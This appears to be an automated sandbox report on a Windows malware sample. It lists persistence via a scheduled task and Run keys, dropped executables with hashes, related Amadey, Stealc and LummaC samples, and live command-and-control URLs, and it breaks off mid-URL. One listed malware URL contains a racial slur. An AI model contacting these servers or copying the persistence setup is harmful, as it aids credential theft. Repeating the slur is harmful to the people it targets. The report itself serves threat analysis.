Excluded IPs from analysis (whitelisted): 88.221.110.91, 192.229.221.95, 93.184.221.240, 142.250.186.67, 142.251.168.84, 216.58.212.174, 34.104.35.123, 172.217.18.3, 142.250.186.163, 142.250.185.138, 172.217.18.10, 142.250.186.170, 216.58.206.42, 142.250.186.106, 142.250.185.202, 142.250.185.74, 142.250.181.234, 172.217.16.202, 142.250.184.234, 142.250.186.74, 142.250.184.202, 142.250.186.42, 142.250.185.170, 142.250.74.202, 142.250.185.234, 216.58.206.74, 216.58.212.138, 142.250.186.138, 172.217.16.138, 172.217.18.106, 216.58.212.170, 172.217.23.106, 142.250.185.106
Excluded domains from analysis (whitelisted): fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, slscr.update.microsoft.com, otelrules.azureedge.net, fonts.gstatic.com, ctldl.windowsupdate.com, clientservices.googleapis.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, edgedl.me.gvt1.com, clients.l.google.com, www.gstatic.com, optimizationguide-pa.googleapis.com
Execution Graph export aborted for target 8ObkdHP9Hq.exe, PID 6796 because it is empty
Execution Graph export aborted for target 9d7da53f74.exe, PID 5236 because there are no executed function
Execution Graph export aborted for target 9d7da53f74.exe, PID 7244 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 4416 because there are no executed function
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:22:03	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
02:23:16	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 84d280a9e8.exe C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe
02:23:24	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run num.exe C:\Users\user\AppData\Local\Temp\1000336001\num.exe
02:23:32	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 9d7da53f74.exe C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe
02:23:40	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 84d280a9e8.exe C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe
02:23:49	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run num.exe C:\Users\user\AppData\Local\Temp\1000336001\num.exe
02:23:57	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 9d7da53f74.exe C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe
21:23:02	API Interceptor	55122x Sleep call for process: skotes.exe modified
21:23:20	API Interceptor	5x Sleep call for process: 9d7da53f74.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	MSCy5UvBYg.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	niko.exe	Get hash	malicious	Amadey, Credential Flusher, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	RDPWrap Tool, Amadey, Socks5Systemz, Stealc, Vidar, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	dXDaTWHYvF.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
	PwjUL1lEEC.exe	Get hash	malicious	Amadey, Credential Flusher, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	4qIl08vrFY.exe	Get hash	malicious	Amadey, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	SecuriteInfo.com.Win32.Evo-gen.16378.4678.exe	Get hash	malicious	Amadey, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
104.21.53.8	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	fASbbWNgm1.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	Launch.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC, Vidar	Browse
185.215.113.37	MSCy5UvBYg.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
sergei-esenin.com	MSCy5UvBYg.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	172.67.206.204
	file.exe	Get hash	malicious	LummaC	Browse	104.21.53.8
	file.exe	Get hash	malicious	LummaC	Browse	172.67.206.204
	E7Bu6a7eve.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	172.67.206.204
	file.exe	Get hash	malicious	LummaC	Browse	104.21.53.8
	file.exe	Get hash	malicious	LummaC	Browse	104.21.53.8
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	172.67.206.204
	file.exe	Get hash	malicious	LummaC	Browse	172.67.206.204
	fASbbWNgm1.exe	Get hash	malicious	LummaC	Browse	104.21.53.8
	A6QFRW2WiY.exe	Get hash	malicious	LummaC	Browse	172.67.206.204
steamcommunity.com	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	MSCy5UvBYg.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	zncaKWwEdq.exe	Get hash	malicious	Vidar	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	E7Bu6a7eve.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	https://maxask.com	Get hash	malicious	Unknown	Browse	172.66.0.227
	https://email.m.teachable.com/c/eJwszz3O6yAQheHV4NJiZjA_BcVtso1owOMYyZjIkLv-T47Sn0d6zxqTFQ6TRHC4aDLgaJLK5XhekqW8x7OsUSGCDcHRQggKcdpjELZb4ORzSAyrwUzJbgHE28XoDacSUaPRnjRYHQhm9M4s2iP7ZLOWpIyu8xDOO6dD5tzqdMR9jHdX9E_hQ-GjfoYc5dzaVXmUdvZyueW7rNI7v-QXR0QLenuXXbHz2j7nnMrJZxbUCMro133pK3veWzt-EMEZsO6G_yP-BQAA__8EPU-T	Get hash	malicious	Unknown	Browse	188.114.97.3
	MSCy5UvBYg.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	172.67.206.204
	file.exe	Get hash	malicious	LummaC	Browse	104.21.53.8
	jHSDuYLeUl.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	Jr77pnmOup.elf	Get hash	malicious	Mirai	Browse	172.68.149.164
	Camtech_Korea_Invoice_2024.html	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207
	http://chiso.dev/	Get hash	malicious	Unknown	Browse	172.67.184.158
	file.exe	Get hash	malicious	LummaC	Browse	172.67.206.204
	H2f8SkAvdV.exe	Get hash	malicious	Blank Grabber, XWorm	Browse	162.159.136.232
WHOLESALECONNECTIONSNL	MSCy5UvBYg.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	185.215.113.103
	1mqzOM6eok.exe	Get hash	malicious	Xmrig	Browse	185.215.113.66
	http://noevirbrasil.com/hello.html	Get hash	malicious	Unknown	Browse	185.215.113.14
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
AKAMAI-ASUS	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	MSCy5UvBYg.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	zncaKWwEdq.exe	Get hash	malicious	Vidar	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	E7Bu6a7eve.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	104.102.49.254
	na.elf	Get hash	malicious	Mirai, Okiru	Browse	23.3.160.8
WHOLESALECONNECTIONSNL	MSCy5UvBYg.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	185.215.113.103
	1mqzOM6eok.exe	Get hash	malicious	Xmrig	Browse	185.215.113.66
	http://noevirbrasil.com/hello.html	Get hash	malicious	Unknown	Browse	185.215.113.14
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	http://ser0xen.com/sucklemydicknigger.exe	Get hash	malicious	XWorm	Browse	20.109.210.53 184.28.90.27 13.107.246.45
	file.exe	Get hash	malicious	Credential Flusher	Browse	20.109.210.53 184.28.90.27 13.107.246.45
	file.exe	Get hash	malicious	Vidar	Browse	20.109.210.53 184.28.90.27 13.107.246.45
	file.exe	Get hash	malicious	Vidar	Browse	20.109.210.53 184.28.90.27 13.107.246.45
	file.exe	Get hash	malicious	Stealc	Browse	20.109.210.53 184.28.90.27 13.107.246.45
	CR0QGWXdDl.exe	Get hash	malicious	Stealc, Vidar	Browse	20.109.210.53 184.28.90.27 13.107.246.45
	https://maxask.com	Get hash	malicious	Unknown	Browse	20.109.210.53 184.28.90.27 13.107.246.45
	file.exe	Get hash	malicious	Credential Flusher	Browse	20.109.210.53 184.28.90.27 13.107.246.45
	SecuriteInfo.com.Trojan.DownLoader47.42925.26493.18247.exe	Get hash	malicious	Amadey	Browse	20.109.210.53 184.28.90.27 13.107.246.45
	Camtech_Korea_Invoice_2024.html	Get hash	malicious	HTMLPhisher	Browse	20.109.210.53 184.28.90.27 13.107.246.45
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC	Browse	104.21.53.8 23.199.218.33 104.102.49.254
	MSCy5UvBYg.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	104.21.53.8 23.199.218.33 104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.21.53.8 23.199.218.33 104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.21.53.8 23.199.218.33 104.102.49.254
	http://buddycities.com/	Get hash	malicious	Unknown	Browse	104.21.53.8 23.199.218.33 104.102.49.254
	E7Bu6a7eve.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.21.53.8 23.199.218.33 104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.21.53.8 23.199.218.33 104.102.49.254
	LKpIHL2abO.exe	Get hash	malicious	SmokeLoader	Browse	104.21.53.8 23.199.218.33 104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.21.53.8 23.199.218.33 104.102.49.254
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	104.21.53.8 23.199.218.33 104.102.49.254

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\num[1].exe	MSCy5UvBYg.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse
	niko.exe	Get hash	malicious	Amadey, Credential Flusher, Stealc, Vidar	Browse
	4qIl08vrFY.exe	Get hash	malicious	Amadey, Stealc	Browse
	SecuriteInfo.com.Win32.Evo-gen.16378.4678.exe	Get hash	malicious	Amadey, Stealc	Browse
	file.exe	Get hash	malicious	Amadey, Stealc	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	919040
Entropy (8bit):	6.58379881209052
Encrypted:	false
SSDEEP:	24576:oqDEvCTbMWu7rQYlBQcBiT6rprG8a47K:oTvC/MTQYxsWR7a4
MD5:	A914737C9AF5014B7CD65B6649094707
SHA1:	52BF91E77DB241AE45090C95E59052AEDCF4E146
SHA-256:	024111033535957EB3D0B9DFB3738C2811DB0B8569AFC87C066922CADBC5B5DA
SHA-512:	0B1A09F8B05B1AF84379DF2911A578040529471DCD0265E6F43382E6E76F2A00721062402B48F176FA5AD70D9C731F99F4A1FD4C55C9835D39BEFE24CF304A73
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 24%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L...I5.g.........."..........V......w.............@..........................`.......V....@...@.......@.....................d...\|....@...........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc........@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1829376
Entropy (8bit):	7.9455335957405575
Encrypted:	false
SSDEEP:	49152:H4OyHuFfXfMMepzV58m+WDiClGzOyKWwLW:OHcfkll+WmZ
MD5:	86FEA273D36E3F9C8221E22B937B1929
SHA1:	E21CE70E02939C4AFD908C4F3222B52B154FAFB0
SHA-256:	76FF561AB5532DE44B42249C4D686FC75C21BB17FEDC8C6CA3AF4268388C3BCC
SHA-512:	782F5FA9E546D1726C4C2D4BCADE48AD6DAE82A6CCE0AF9852F8EE1EA5A8B7FA688A5A2CAA04C914974F4738FE2637F7116E454671FBBB460762944AD5704EFB
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 29%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...J..f............................. I...........@..........................PI...........@.................................W...k................................................................................................................... . .........^..................@....rsrc .............n..............@....idata .............n..............@... ..)..........p..............@...kawjnymv.P..../..P...r..............@...ldklrfiv......I.....................@....taggant.0... I.."..................@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\num[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	314368
Entropy (8bit):	6.339296840269838
Encrypted:	false
SSDEEP:	6144:BMi8gYtUokCulxMfpbSGePV0l0F1nE7w+Uw3NKR9hU/W9:2tUoH3IGgVRF14wx8KRF9
MD5:	791FCEE57312D4A20CC86AE1CEA8DFC4
SHA1:	04A88C60AE1539A63411FE4765E9B931E8D2D992
SHA-256:	27E4A3627D7DF2B22189DD4BEBC559AE1986D49A8F4E35980B428FADB66CF23D
SHA-512:	2771D4E7B272BF770EFAD22C9FB1DFAFE10CBBF009DF931F091FB543E3132C0EFDA16ACB5B515452E9E67E8B1FC8FE8AEDD1376C236061385F026865CDC28D2C
Malicious:	true
Yara Hits:	Rule: JoeSecurity_PowershellDownloadAndExecute, Description: Yara detected Powershell download and execute, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\num[1].exe, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\num[1].exe, Author: Joe Security
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 83%
Joe Sandbox View:	Filename: MSCy5UvBYg.exe, Detection: malicious, Browse Filename: niko.exe, Detection: malicious, Browse Filename: 4qIl08vrFY.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Win32.Evo-gen.16378.4678.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........C..............X......m.......Y.......p.....y.........`...............\......n.....Rich............PE..L...J..f......................$......i............@...........................&...........@.................................(...<.............................%..$...................................................................................text............................... ....rdata..............................@..@.data.....#.........................@....reloc...E....%..F..................@..B........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	919040
Entropy (8bit):	6.58379881209052
Encrypted:	false
SSDEEP:	24576:oqDEvCTbMWu7rQYlBQcBiT6rprG8a47K:oTvC/MTQYxsWR7a4
MD5:	A914737C9AF5014B7CD65B6649094707
SHA1:	52BF91E77DB241AE45090C95E59052AEDCF4E146
SHA-256:	024111033535957EB3D0B9DFB3738C2811DB0B8569AFC87C066922CADBC5B5DA
SHA-512:	0B1A09F8B05B1AF84379DF2911A578040529471DCD0265E6F43382E6E76F2A00721062402B48F176FA5AD70D9C731F99F4A1FD4C55C9835D39BEFE24CF304A73
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 24%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L...I5.g.........."..........V......w.............@..........................`.......V....@...@.......@.....................d...\|....@...........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc........@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1000336001\num.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	314368
Entropy (8bit):	6.339296840269838
Encrypted:	false
SSDEEP:	6144:BMi8gYtUokCulxMfpbSGePV0l0F1nE7w+Uw3NKR9hU/W9:2tUoH3IGgVRF14wx8KRF9
MD5:	791FCEE57312D4A20CC86AE1CEA8DFC4
SHA1:	04A88C60AE1539A63411FE4765E9B931E8D2D992
SHA-256:	27E4A3627D7DF2B22189DD4BEBC559AE1986D49A8F4E35980B428FADB66CF23D
SHA-512:	2771D4E7B272BF770EFAD22C9FB1DFAFE10CBBF009DF931F091FB543E3132C0EFDA16ACB5B515452E9E67E8B1FC8FE8AEDD1376C236061385F026865CDC28D2C
Malicious:	true
Yara Hits:	Rule: JoeSecurity_PowershellDownloadAndExecute, Description: Yara detected Powershell download and execute, Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe, Author: Joe Security
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 83%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........C..............X......m.......Y.......p.....y.........`...............\......n.....Rich............PE..L...J..f......................$......i............@...........................&...........@.................................(...<.............................%..$...................................................................................text............................... ....rdata..............................@..@.data.....#.........................@....reloc...E....%..F..................@..B........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1829376
Entropy (8bit):	7.9455335957405575
Encrypted:	false
SSDEEP:	49152:H4OyHuFfXfMMepzV58m+WDiClGzOyKWwLW:OHcfkll+WmZ
MD5:	86FEA273D36E3F9C8221E22B937B1929
SHA1:	E21CE70E02939C4AFD908C4F3222B52B154FAFB0
SHA-256:	76FF561AB5532DE44B42249C4D686FC75C21BB17FEDC8C6CA3AF4268388C3BCC
SHA-512:	782F5FA9E546D1726C4C2D4BCADE48AD6DAE82A6CCE0AF9852F8EE1EA5A8B7FA688A5A2CAA04C914974F4738FE2637F7116E454671FBBB460762944AD5704EFB
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 29%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...J..f............................. I...........@..........................PI...........@.................................W...k................................................................................................................... . .........^..................@....rsrc .............n..............@....idata .............n..............@... ..)..........p..............@...kawjnymv.P..../..P...r..............@...ldklrfiv......I.....................@....taggant.0... I.."..................@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\Desktop\8ObkdHP9Hq.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1889792
Entropy (8bit):	7.949840626888764
Encrypted:	false
SSDEEP:	49152:dgx2kOoNM8s9iuz17ZfuA37h94+JqDn9KuOVZ+YuF1:dgWoS8GFZp3V94bj9leZ+3
MD5:	77B69071CCC75E75A48EA59D48A55A30
SHA1:	1462B225E40CE72DF31075D9CA920A356818FE3C
SHA-256:	E7DD285DC9F2BA81816427BB3A6F90645DEB0B8D346D2EDB81E9283A1BDBF787
SHA-512:	E120055B5C27AA9D6F65CA3EA00C5CDBCE421989627C197C53F25410AAC35740499C86AA8EEB25EEBB387397364363E79825A2CF05C0E333A52E1A2D9F0CDE4F
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 53%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................K...........@..........................0K......t....@.................................W...k.............................J...............................J..................................................... . ............................@....rsrc...............................@....idata ............................@... ..*.........................@...hicznzml.....01.....................@...rbflpxvq......J.....................@....taggant.0....K.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\8ObkdHP9Hq.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\Desktop\8ObkdHP9Hq.exe
File Type:	data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	3.374640738361655
Encrypted:	false
SSDEEP:	6:bP/zXflNeRKUEZ+lX1CGdKUe6tPjgsW2YRZuy0lhct0:ff2RKQ1CGAFAjzvYRQVqt0
MD5:	C2D2BD4227FE203D8C78B48676250D38
SHA1:	1DAAF814514E34CE1DCB4F8B65E55690485DD2DD
SHA-256:	1EE149EAE39103126FA513C19702B19787EB681758148741450B021B85902A63
SHA-512:	F28A71756F6E136F59992741FABE7CC70BE7C774CF4424AA5708A2ABC35334184E8A1EA7EB0CD74499ACCAF8D61EBD3FB387B75E16368CA1650679DECF5B5527
Malicious:	false
Preview:	......5.O.O........F.......<... .....s.......... ....................8.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........J.O.N.E.S.-.P.C.\.j.o.n.e.s...................0...................@3P.........................

Chrome Cache Entry: 155

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (395)
Category:	downloaded
Size (bytes):	1608
Entropy (8bit):	5.271783084011668
Encrypted:	false
SSDEEP:	48:o726BiFP89yAxKz1TtMxII+eXww7D2bc+rw:oyMyAAz1WNd8vw
MD5:	45EA91A811A594F81B7F760DD14BE237
SHA1:	2C97782C6D5D0BCFB3676FF24AA1008251090DAE
SHA-256:	7488FF4710E7592F66BE1FAC090F73CB8F1D2D0794B57DEAC1798C5B309EE76F
SHA-512:	4F79A36857D5A8AF1E2F938EF92EA75C384DE4789972B068BE82EADAA442C538A65035CCE8665A7283137E2075B8FE4C1C9E7B2A36585491683B4869005B772A
Malicious:	false
URL:	"https://www.gstatic.com/_/mss/boq-identity/_/js/k=boq-identity.AccountsSignInUi.en.PqO-Y4U4tl0.es5.O/ck=boq-identity.AccountsSignInUi.nq70RHujW6U.L.B1.O/am=5MFgKBimEQjEE54DekBRIOQAAAAAAAAAAKANAAB0DA/d=1/exm=AvtSve,CMcBD,E87wgc,EFQ78c,EIOG1e,EN3i8d,Fndnac,GwYlN,I6YDgd,IZT63,K0PMbc,K1ZKnb,KUM7Z,L1AAkb,L9OGUe,LDQI,LEikZe,MY7mZe,MpJwZc,NOeYWe,NTMZac,O6y8ed,P6sQOc,PHUIyb,PrPYRd,RMhBfe,Rkm0ef,RqjULd,SCuOPb,SD8Jgb,STuCOe,SpsfSb,Tbb4sb,UUJqVe,Uas9Hd,WpP9Yc,XVq9Qb,YHI3We,YTxL4,YgOFye,ZakeSe,ZwDk9d,_b,_tp,aC1iue,aW3pY,b3kMqb,bSspM,bTi8wc,byfTOb,cYShmd,eVCnO,f8Gu1e,gJzDyc,hc6Ubd,inNHtf,iyZMqd,lsjVmc,ltDFwf,lwddkf,m9oV,mvkUhe,mzzZzc,n73qwf,njlZCf,oLggrd,pxq3x,qPYxq,qPfo0c,qmdT9,rCcCxc,rmumx,siKnQd,soHxf,t2srLd,tUnxGc,vHEMJe,vfuNJf,vjKJJ,vvMGie,ws9Tlc,xBaz7b,xQtZb,xiZRqc,y5vRwf,yRXbo,ywOR5c,z0u0L,zbML3c,ziZ8Mc,zr1jrb,zy0vNb/excm=_b,_tp,identifierview/ed=1/wt=2/ujg=1/rs=AOaEmlFUNoJA9_Qld_Efe4B4naRfqJdPqA/ee=ASJRFf:DAnQ7e;Al0B8:kibjWe;DaIJ8c:iAskyc;EVNhjf:pw70Gc;EkYFhd:GwYlN;EmZ2Bf:zr1jrb;JsbNhc:Xd8iUd;K5nYTd:ZDZcre;LBgRLc:XVMNvd;Me32dd:MEeYgc;NPKaK:PVlQOd;NSEoX:lazG7b;Pjplud:EEDORb;QGR0gd:Mlhmy;SMDL4c:K0PMbc;SNUn3:ZwDk9d;ScI3Y